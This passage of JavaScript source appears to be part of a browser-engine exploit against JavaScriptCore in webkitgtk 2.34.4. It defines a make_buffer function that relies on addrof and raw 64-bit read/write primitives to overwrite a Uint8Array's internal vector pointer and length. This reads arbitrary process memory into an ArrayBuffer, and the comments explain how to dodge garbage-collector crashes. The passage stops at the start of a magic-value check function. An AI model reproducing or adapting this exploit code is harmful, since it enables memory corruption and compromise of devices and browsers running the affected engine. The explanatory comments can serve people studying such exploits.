(addr, size)
| 27 | |
| 28 | // creates an ArrayBuffer whose contents is copied from addr |
| 29 | export function make_buffer(addr, size) { |
| 30 | // see enum TypedArrayMode from |
| 31 | // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h |
| 32 | // at webkitgtk 2.34.4 |
| 33 | // |
| 34 | // see possiblySharedBuffer() from |
| 35 | // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h |
| 36 | // at webkitgtk 2.34.4 |
| 37 | |
| 38 | // We will create an OversizeTypedArray via requesting an Uint8Array whose |
| 39 | // number of elements will be greater than fastSizeLimit (1000). |
| 40 | // |
| 41 | // We will not use a FastTypedArray since its m_vector is visited by the |
| 42 | // GC and we will temporarily change it. The GC expects addresses from the |
| 43 | // JS heap, and that heap has metadata that the GC uses. The GC will likely |
| 44 | // crash since valid metadata won't likely be found at arbitrary addresses. |
| 45 | // |
| 46 | // The FastTypedArray approach will have a small time frame where the GC |
| 47 | // can inspect the invalid m_vector field. |
| 48 | // |
| 49 | // Views created via "new TypedArray(x)" where "x" is a number will always |
| 50 | // have an m_mode < WastefulTypedArray. |
| 51 | const u = new Uint8Array(1001); |
| 52 | const u_addr = mem.addrof(u); |
| 53 | |
| 54 | // we won't change the butterfly and m_mode so we won't save those |
| 55 | const old_addr = u_addr.read64(off.view_m_vector); |
| 56 | const old_size = u_addr.read32(off.view_m_length); |
| 57 | |
| 58 | u_addr.write64(off.view_m_vector, addr); |
| 59 | u_addr.write32(off.view_m_length, size); |
| 60 | |
| 61 | const copy = new Uint8Array(u.length); |
| 62 | copy.set(u); |
| 63 | |
| 64 | // Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object |
| 65 | // associated with them, if we ask for view.buffer, the view will be |
| 66 | // converted into a WastefulTypedArray and an ArrayBuffer will be created. |
| 67 | // This is done by calling slowDownAndWasteMemory(). |
| 68 | // |
| 69 | // We can't use slowDownAndWasteMemory() on u since that will create a |
| 70 | // JSC::ArrayBufferContents with its m_data pointing to addr. On the |
| 71 | // ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can |
| 72 | // cause a crash if the m_data is not from the fastMalloc heap, and even if |
| 73 | // it is, freeing abitrary addresses is dangerous as it may lead to a |
| 74 | // use-after-free. |
| 75 | const res = copy.buffer; |
| 76 | |
| 77 | // restore |
| 78 | u_addr.write64(off.view_m_vector, old_addr); |
| 79 | u_addr.write32(off.view_m_length, old_size); |
| 80 | |
| 81 | return res; |
| 82 | } |
| 83 | |
| 84 | // these values came from analyzing dumps from CelesteBlue |
| 85 | function check_magic_at(p, is_text) { |
no test coverage detected